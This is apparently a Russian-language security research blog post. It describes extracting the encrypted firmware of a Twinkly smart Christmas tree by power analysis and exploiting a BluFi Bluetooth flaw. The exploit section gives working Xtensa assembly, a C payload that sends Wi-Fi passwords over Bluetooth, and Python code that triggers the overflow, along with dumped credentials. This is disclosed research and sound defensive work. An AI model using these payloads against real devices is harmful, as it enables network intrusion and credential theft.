«А давайте вы сделаете какой-нибудь новогодний рисёч?» — примерно такую задачу поставили нашей Positive Labs этим летом. Поскольку мы любим изучать разнообразные железки, первым делом подумали про умные устройства. А что у нас с Новым Годом обычно ассоциируется? Правильно — новогодняя ёлка. Быстрый поиск в сети показал, что smart-ёлки существуют, и даже не от дядюшки Ляо, а вполне себе серьезной компании. На том и порешили — берем Twinkly Light Tree и смотрим, что там с безопасностью.

Прошлые исследования

До нас серию Twinkly исследовала компания MWR InfoSecurity (что интересно, с той же самой целью). В результате были обнаружены инфраструктурные ошибки, используя которые можно было выключить вообще все гирлянды этого бренда в мире:

Так исследователи иллюстрировали кнопку по отмене Рождества
Так исследователи иллюстрировали кнопку по отмене Рождества

Ошибка заключалась в протоколе MQTT и отсутствии ограничений доступа при подключении к чужим устройствам. Поскольку исследование было в далеком 2018, уязвимость давно исправлена. Но то были инфраструктурные косяки. Мы же решили изучить само устройство и его прошивку, в идеале — добиться удалённого запуска кода (спойлер — всё получилось).

А что, собственно, внутри?

Как становится понятно из названия, это не просто гирлянда, а целая светящаяся ель, состоящая из каркаса, светодиодных рядов и блока управления. Блок умеет подключаться к сетям Wi-Fi (а также играть роль точки доступа), при этом для запуска конфигурации сети сверху есть большая кнопка управления со светодиодом рядом:

Рисунок 1. Блок управления Twinkly Light Tree
Блок управления Twinkly Light Tree

Внутри корпуса блока управления можно обнаружить саму кнопку, трехцветный светодиод и модуль ESP32-WROOM.

Рисунок 2. Печатная плата блока управления Twinkly
Печатная плата блока управления Twinkly

Справа на плате можно заметить набор контактов, подозрительно похожих на отладочные. Здесь установлен стандартный модуль ESP32, его распиновка известна, поэтому назначение контактов легко определяется прозвонкой:

Рисунок 3. Назначение отладочных выводов платы управления Twinkly
Назначение отладочных выводов платы управления Twinkly

Эти контакты предназначены для первоначальной прошивки модуля ESP32. Если производитель не заблокировал интерфейс, их также можно использовать для считывания содержимого флэш-памяти и e-Fuses. Для этого существует удобный официальный инструмент esptool:

Рисунок 4. Считывание содержимого ПЗУ через утилиту esptool
Считывание содержимого ПЗУ через утилиту esptool

Чтение e-Fuses выполняем схожим образом, но уже через утилиту espefuse:

Рисунок 5. Считывание e-fuses через утилиту esefuse
Считывание e-fuses через утилиту esefuse

Нам интересны следующие e-Fuses:

  • FLASH_CRYPT_CNT         = 127 (0b1111111)

  • JTAG_DISABLE              = True (0b1)

  • DISABLE_DL_DECRYPT  = True (0b1)

  • ABS_DONE_0                 = True (0b1)

  • ABS_DONE_1                    = False (0b0)

Остановимся на каждом подробнее:

  • Нечетное значение FLASH_CRYPT_CNT говорит о том, что на микроконтроллере активен Flash Encryption. Значит код в полученном дампе флешки зашифрован и просто так исследовать его не получится.

  • Активные JTAG_DISABLE и DISABLE_DL_DECRPYT означают, что отладка заблокирована и средствами самого контроллера расшифровать данные не выйдет.

  • Наконец, ABS_DONE_0 и ABS_DONE_1 показывают, что включен Secure Boot v1, поэтому запускать свой код запрещено (даже при наличии ключа шифрования флешки).

Вердикт: перед нами релизный вариант конфигурации, включена максимальная защита.

Differential Power Analysis

Воспользуемся самым простым методом получения прошивки из контроллера ESP32-D0WD-v3 — Differential Power Analysis (DPA). Суть в том, что по потреблению питания микроконтроллера можно косвен��о вычислить значения, которыми он оперирует в регистрах. Самый банальный пример — когда в сигнале, полученном с линии питания микросхемы, можно отчетливо определить состояния некоторой внутренней линии:

Рисунок 6. Каждый прирост потребления соответствует логической единице протокола передачи
Каждый прирост потребления соответствует логической единице протокола передачи

В случае с ESP32 можно «подслушать» процесс шифрования AES. Конечно, настолько очевидно, как в примере на рисунке, увидеть ключ или данные не получится — здесь все 128 бит обрабатываются за один единственный «тик» процессора. Поэтому для вычисления значения ключа нужно использовать метод Correlation Power Analysis (CPA): выполняем десятки тысяч измерений с разными данными на входе, сравниваем с поведением предполагаемой модели и побайтно подбираем подходящий ключ.

Очень детально процесс извлечения ключа описан в статье за авторством Kévin Courdesses. На базе его же проекта esp-cpa получился вот такой девайс (который вы ещё встретите в других статьях про приключения с ESP32):

Рисунок 7. ESP-CPA с подключенным анализируемым чипом
ESP-CPA с подключенным чипом из другого исследования

Этот девайс одновременно эмулирует SPI-флешку и выполняет замеры питания в момент расшифровки блока данных (а ещё умеет гличить импульсами питания, нагревать чип с высокой точностью, записывать UART, отлаживать по JTAG...). То есть эмулятор каждый раз посылает новый случайный блок данных, выжидает момент расшифровки и сохраняет замеры тока на линии:

Рисунок 8. Записанный график потребления питания (меньшее значение соответствует большему току
Записанный график потребления питания (меньшее значение соответствует большему току)

Затем по накопленным данным с десятков и сотен тысяч замеров делается анализ корреляции — насколько реальные графики совпадают с «моделью» — предполагаемым поведением питания для конкретного значения части ключа. Сильно вдаваться в детали процесса не буду, на эту тему выйдет отдельная статья, пока что сосредоточимся на результате.

Результат анализа корреляции выглядит как 16 графиков (по одному на байт раунд-ключа) с 256 линиями (по одной на каждый вариант байта). Та линия, что сильно выделяется на фоне других, — верно угаданное значение.

Рисунок 9. Анализ корреляции для блока 0x1000, раунда 0
Анализ корреляции для блока 0x1000, раунда 0

Из графиков получаем ключ 8aef836729ebf14d4f17a88cdb2d69ce. С его помощью повторяем анализ уже для раунда 1 (поскольку в ESP32 применяется AES-256 и части ключа только от первого раунда недостаточно).

Рисунок 10. Анализ корреляции для блока 0x1000, раунда 1
Анализ корреляции для блока 0x1000, раунда 1

Таким образом получаем вторую половину ключа — 397f9cb7d00dd312d45fc7f1884661a8. Но и это еще не все!

В ESP32 ключ модифицируется в зависимости от смещения, поэтому путем анализа питания мы получили ключ уже после модификации (для смещения 0x1000). За то, как именно модифицируется ключ, отвечает e-Fuse FLASH_CRYPT_CONFIG (по умолчанию выставляется в максимальные 0xF). Алгоритм можно взять из официальной утилиты espsecure:

def flashencryption_tweak_key(key, offset, tweak_range):
	addr = offset >> 5
	key ^= ((mul1  addr) | ((mul2  addr) & mul2_mask)) & tweak_range
	return int.to_bytes(key, length=32, byteorder="big", signed=False)

Алгоритм симметричный, поэтому его применение к полученному ключу обращает модификации. В результате получаем исходный ключ шифрования, который уже можно использовать в утилите espsecure:

8A FF 83 65 29 EB B1 5D 4F 15 A8 8C 9B 2D 61 C6
39 7E 9C B7 F0 0D D7 12 D4 5D C7 F1 C8 46 69 A8

Важный момент: ключ уникален для каждого устройства, так что если вам нужно расшифровать другой девайс (пусть даже той же модели и с такой же прошивкой), все придется проделывать заново ;)

Краткий обзор прошивки

У считанного дампа стандартный вид для проектов на основе ESP32: загрузчик, два OTA-слота, прошивка на базе FreeRTOS и шифрованный Non-Volatile Storage с отдельно сохраненным ключом. Нестандартными можно назвать только разделы с заводской конфигурацией и огромный раздел movie для хранения пользовательского видеоролика.

Смещение

Размер

Назначение

0x0000

0xC0

Подпись для Secure boot

0x1000

0x5700

Bootloader

0x8000

0x1000

Таблица разделов

0x9000

0x4000

NVS (Non-Volatile Storage), зашифровано keys

0xD000

0x20

otadata, информация о текущем используемом слоте прошивки

0x10000

0x200000

ota_1, слот прошивки №1

0x210000

0x200000

ota_2, слот прошивки №2

0x410000

0x4000

settings

0x414000

0x4000

data, информация об устройстве

0x418000

0x3e0000

movie

0x7FF000

0x1000

keys, ключи шифрования для NVS

Неожиданностью стал включенный Stack Smash Protection: в начале каждой функции на верхушку стека записывалось случайное значение, а в конце проверялось, не изменилось ли оно.

Рисунок 11. Одна из самых маленьких функций, где используется Stack Smash Protection
Одна из самых маленьких функций, где используется Stack Smash Protection

В прошивке мы обнаружили многочисленные обработчики HTTP-протокола. Это неудивительно, ведь основной способ взаимодействия с устройством — по Wi-Fi через HTTP-запросы вида GET /xled/v1/…. При этом девайс подключается к существующей Wi-Fi сети, либо сам раздает ее. Помимо HTTP имеется возможность удаленного управления по протоколу MQTT (в том числе есть поддержка Apple Homekit).

В онлайн-источниках есть много информации о протоколе этих гирлянд, в том числе готовые проекты на Python. С их помощью можно управлять девайсом, причем если вы уже в Wi-Fi сети, никакого логина не требуется — даже знать IP-адрес не обязательно. Все гирлянды дружно отвечают на широковещательный UDP-запрос.

Уязвимости!

Конечно, полный доступ к управлению устройством из локальной сети — это не так интересно (для этого нужен пароль от Wi-Fi), как удаленный запуск своего кода на самом устройстве. Чтобы решить эту задачу, немного поковыряемся в прошивке и найдем интересную библиотеку blufi:

Рисунок 12. Так-так, что тут у нас?
Так-так, что тут у нас?

По сути, перед нами пример от разработчика SDK, как можно выполнить начальную настройку по Bluetooth LE (задать пароль для Wi-Fi). Интересна blufi тем, что около года назад в ней находили критические уязвимости, в том числе возможность записи произвольных данных по конкретному адресу:

Рисунок 13. Уязвимость в механизме установления защищенного канала
Уязвимость в механизме установления защищенного канала

Если кратко, протокол формирования секретного ключа принимает почти все параметры от клиента, при этом можно передать ключ размером до 8192 бит (хотя в коде библиотеки место предусмотрено только для 1024 бит). В результате получаем возможность перезаписи указателя на буфер и размера данных. А следующим запросом эти данные можно записать куда угодно. Самое странное, что разработчик микроконтроллера (Espressif) тогда не признал уязвимость и отказался создавать CVE, но обновил код примера-библиотеки:

🔻 January 23, 2025 — Espressif publishes first round of patches to GitHub, informs NCC Group they do not consider the bugs to be security vulnerabilities and are therefore ineligible for the bug bounty program

Возможно, как раз из-за этого баг и присутствовал в последней на тот момент прошивке гирлянды (после раскрытия уязвимости Twinkly, в Espressif признали серьезность проблемы и зарегистрировали CVE-2025-55297).

Чтобы наглядно показать проблему с безопасностью, рассмотрим правдоподобный сценарий. Злоумышленник видит гирлянду в холле компании, подходит к ней, нажимает кнопку конфигурации и через уязвимость получает пароль от корпоративной сети Wi-Fi, к которой подключено устройство. Или загружает в ёлку свою прошивку, чтобы иметь удалённый доступ к этой сети в любое время.

Для реализации такой атаки нужно разработать небольшой эксплойт, который будет считывать пароль от Wi-Fi через конфигурационный интерфейс BLE. Воспользуемся проектом pyBlufi, который как раз реализует этот протокол конфигурации.

Раз! Ищем, чего бы такого в прошивке перезаписать, чтобы система не выдала ошибку, и при этом у нас получилось исполнить произвольный код. Если со второй частью все довольно просто (достаточно перезаписать код в ОЗУ или глобальный callback), то с первой есть нюансы.

Буфер, адрес которого перезаписывается уязвимостью, используется однократно, после чего освобождается. А значит, нам нужно:

  1. Предотвратить падение при освобождении буфера, поскольку он не принадлежит куче

  2. Не допустить падения системы при использовании буфера (адреса области кода генерируют исключение при побайтном доступе).

Чтобы выполнить все условия, мы придумали следующий трюк:

  • В качестве целевого адреса для payload указываем таблицу векторов прерываний. В ней есть функция WindowOverflow8, которая вызывается, когда уровень вложенности вызова достигает предела и нужно выгрузить регистры в стек (это происходит довольно часто).

  • Сразу после перезаписи vector table (до использования буфера) в пропатченной WindowOverflow8 вызовется наш код, который исправит все что нужно, чтобы система не упала.

Два! Составляем код payload, который будет патчить систему, подменять методы в таблице и т. д. Работаем на ассемблере, потому что в таблице векторов не так много места и нужно аккуратно жонглировать регистрами.

.org	0x18
 blufi_sec_ptr:   .word 0x3FFCD568  ; указатель на структуру blufi_sec
 ovrw_buf_ptr:	.word 0x40080010  ; значение буфера после перезаписи
 event_callback:  .word 0x3FFC2BD4  ; адрес обработчика события bluFi
 event_callback2: .word 0x3FFC0CAC  ; адрес обработчика события bluFi
 new_callback:	.word 0x40080360  ; новый адрес обработчкиа bluFi
.org  	0x80
 WindowOverflow8:
        	s32e 	a0, a9, -16
        	l32e  	a0, a1, -12
        	s32e 	a1, a9, -12
        	s32e 	a2, a9,  -8
        	s32e 	a3, a9,  -4
        	l32r  	a0, blufisec_ptr ; не делать ничего, если буфер не перезаписан
        	l32i.n  a0, a0, 0
        	beqz.n  a0, finish_ovfl
        	l32i  	a1, a0, 0x114
        	l32r  	a2, ovrw_buf_ptr
        	bne  	a1, a2, finish_ovfl
        	movi.n  a2, 0
        	s32i  	a2, a0, 0x114  ; очистить указатель на буфер (чтобы не упал free)
        	s32i  	a2, a0, 0x118  ; занулить размер (чтобы не упал read_params)
        	l32r  	a0, event_callback
        	l32r  	a1, new_callback
        	s32i.n  a1, a0, 0 	; заменить обработчики BluFi
        	l32r	a0, event_callback2
        	s32i.n  a1, a0, 0
 finish_ovfl:
        	j       	finish_ovfl2
.org  	0xE0
 finish_ovfl2:
        	l32e  	a1, a9, -12
        	l32e  	a2, a9,  -8
        	l32e  	a0, a1, -12
        	s32e 	a4, a0, -32
        	s32e 	a5, a0, -28
        	s32e 	a6, a0, -24
        	s32e 	a7, a0, -20
        	rfwo

Помимо исправления повреждений в коде задаем новый обработчик BLE команд blufi: он поможет нам сделать что-то интересное и вытащить секретную информацию из устройства.

void callback(esp_blufi_cb_event_t event, char * param)
{
	if (event != ESP_BLUFI_EVENT_GET_WIFI_STATUS) // подменяемая команда

	{
    	blufi_cb  def_callback = (blufi_cb)(0x4012CA48);
    	return def_callback(event, param);
	}
	ewgc_f  esp_wifi_get_config = (ewgc_f)(0x400D4ECC);
 
	char  data = calloc(1, 0x200); // аллоцировать буфер
	esp_wifi_get_config(WIFI_IF_STA data); // конфиг “раздачи” WiFi
	esp_wifi_get_config(WIFI_IF_AP, data + 0x60); // конфиг клиента WiFi
 
	ebsc_f  esp_blufi_send_custom_data = (ebsc_f*)0x40178734;
	esp_blufi_send_custom_data(data, 0xc0); // отправить пароли по BLE
	free(data);
}

Скомпилированный обработчик записывается в ту же таблицу векторов по смещению 0x350. Там как раз есть довольно большой неиспользуемый промежуток.

Три! Подготавливаем ключевую информацию согласно описанию PoC из отчета NCC Group. Структура blufi_security, которая перезатирается в процессе эксплуатации, выглядит следующим образом:

struct blufi_security {
#define DH_SELF_PUB_KEY_LEN 	128
	uint8_t  self_public_key[DH_SELF_PUB_KEY_LEN];
#define SHARE_KEY_LEN       	128
	uint8_t  share_key[SHARE_KEY_LEN];
	size_t   share_len;
#define PSK_LEN             	16
	uint8_t  psk[PSK_LEN];
	uint8_t  *dh_param;
	int  	dh_param_len;
	uint8_t  iv[16];
	mbedtls_dhm_context dhm;
	mbedtls_aes_context aes;
};

Из реверса прошивки видно, что ключ (psk) формируется по смещению 0x80, указатель (dh_param) расположен по смещению 0x114, а размер буфера (dh_param_len) — по смещению 0x118. Значит, нужен некоторый padding в 0x94 байта, затем четыре байта адреса, по которому будет загружен payload, и два байта размера:

DH_G = 0
for i in range(0x94):
	DH_G = (DH_G << 8) 0x33 # 0x33333333...33

# prepare rewrite of 0x40080010 with size of 0x3F0
DH_G = (DH_G << 48) | (0x10000840 << 16) | (0xF003)

# make DH_G mod 3 == 1
while DH_G % 3 != 1:
	DH_G += 0x1000000000000

# modulus = G*3
DH_P = hex(DH_G * 3)

Ёлочка, гори! Осталось соединить все наработки в pyBlufi-коде и послать запрос:

async def postNegotiateSecurity(self):
    	type = getTypeValue(DATA.PACKAGE_VALUE, DATA.SUBTYPE_NEG)

    	pBytes = self.crypto.getPBytes()
    	gBytes = self.crypto.getGBytes()
    	kBytes = self.crypto.getYBytes()

    	pgkLength = len(pBytes) + len(gBytes) + len(kBytes) + 6
    	pgkLen1 = (pgkLength >> 8) & 0xff
    	pgkLen2 = pgkLength & 0xff


    	# send initial key data length
    	txBuf = io.BytesIO()
    	txBuf.write(bytes([NEG_SECURITY_SET_TOTAL_LENGTH]))
    	txBuf.write(bytes([pgkLen1]))
    	txBuf.write(bytes([pgkLen2]))

    	await self.post(False, False, self.mRequireAck, type, txBuf.getvalue())
    	await asyncio.sleep(0.1)

    	txBuf.seek(0)
    	txBuf.truncate()


    	# send key data and rewrite buffer pointer / length
    	txBuf.write(bytes([NEG_SECURITY_SET_ALL_DATA]))

    	pLength = len(pBytes)
    	print(hex(pLength))
    	pLen1 = (pLength >> 8) & 0xff
    	pLen2 = pLength & 0xff
    	txBuf.write(bytes([pLen1]))
    	txBuf.write(bytes([pLen2]))
    	txBuf.write(pBytes)

    	gLength = len(gBytes)
    	print(hex(pLength))
    	gLen1 = (gLength >> 8) & 0xff
    	gLen2 = gLength & 0xff
    	txBuf.write(bytes([gLen1]))
    	txBuf.write(bytes([gLen2]))
    	txBuf.write(gBytes)

    	kLength = len(kBytes)
    	print(hex(pLength))
    	kLen1 = (kLength >> 8) & 0xff
    	kLen2 = kLength & 0xff
    	txBuf.write(bytes([kLen1]))
    	txBuf.write(bytes([kLen2]))
    	txBuf.write(kBytes)

    	await self.post(False, False, self.mRequireAck, type, txBuf.getvalue())
    	await asyncio.sleep(0.1)

    	txBuf.seek(0)
    	txBuf.truncate()
    	# send payload and overwrite the xtensa vector table
    	txBuf.write(bytes([NEG_SECURITY_SET_ALL_DATA]))
    	txBuf.write(open("payload.bin", "rb").read()[0x10:])

    	await self.post(False, False, self.mRequireAck, type, txBuf.getvalue())

Теперь на запрос GET_WIFI_STATUS мы получаем пароли от Wi-Fi:

54 65 73 74 50 6F 69 6E  74 31 00 00 00 00 00 00  TestPoint1......
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
71 77 65 66 67 68 31 32  33 00 00 00 00 00 00 00  qwefgh123.......
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
54 77 69 6E 6B 6C 79 5F  35 44 42 37 46 39 00 00  Twinkly_5DB7F9..
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
54 77 69 6E 6B 6C 79 32  30 31 39 00 00 00 00 00  Twinkly2019.....
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................ 

Точно так же можно загрузить в оперативную память устройства любой другой код и выполнить его. Более того, как мы обнаружили, из-за использования устаревшего Secure Boot v1, можно перезаписать флешку и перманентно закрепиться внутри! Конечно, майнить на ёлке не получится, но в качестве шлюза во внутреннюю сеть такая гирлянда сгодится.

Ответ производителя

Как уже было упомянуто выше, Twinkly (LED Works LLC) достучались до Espressif и добились регистрации CVE, чтобы и другие разработчики были в курсе необходимости обновления библиотеки blufi. Помимо этого, довольно скоро было выпущено обновление гирлянд Twinkly, включающее исправления библиотеки и закрывающее уязвимость протокола конфигурации. Наконец, все новые устройства вендора будут использовать Secure Boot v2 для защиты от перезаписи прошивки «изнутри».

Наше новогоднее исследование закончилось хорошо. Пользователи получили новую прошивку, нас упомянули в Security Advisory, мир стал ещё чуточку безопаснее.


Что же в итоге?

Мы живем в мире, где даже самые простые устройства могут нести угрозы безопасности. Например, злоумышленник может превратить ваш девайс в майнер или часть DDoS-ботнета. В нашем случае атакующему понадобился бы физический доступ к устройству, но бывают и уязвимости, которые можно спокойно эксплуатировать удаленно. Поэтому важно ответственно подходить к созданию системы умного дома и соблюдать базовые правила цифровой гигиены. Приобретайте продукты проверенных брендов, регулярно обновляйте прошивки и используйте отдельную сеть для умных устройств.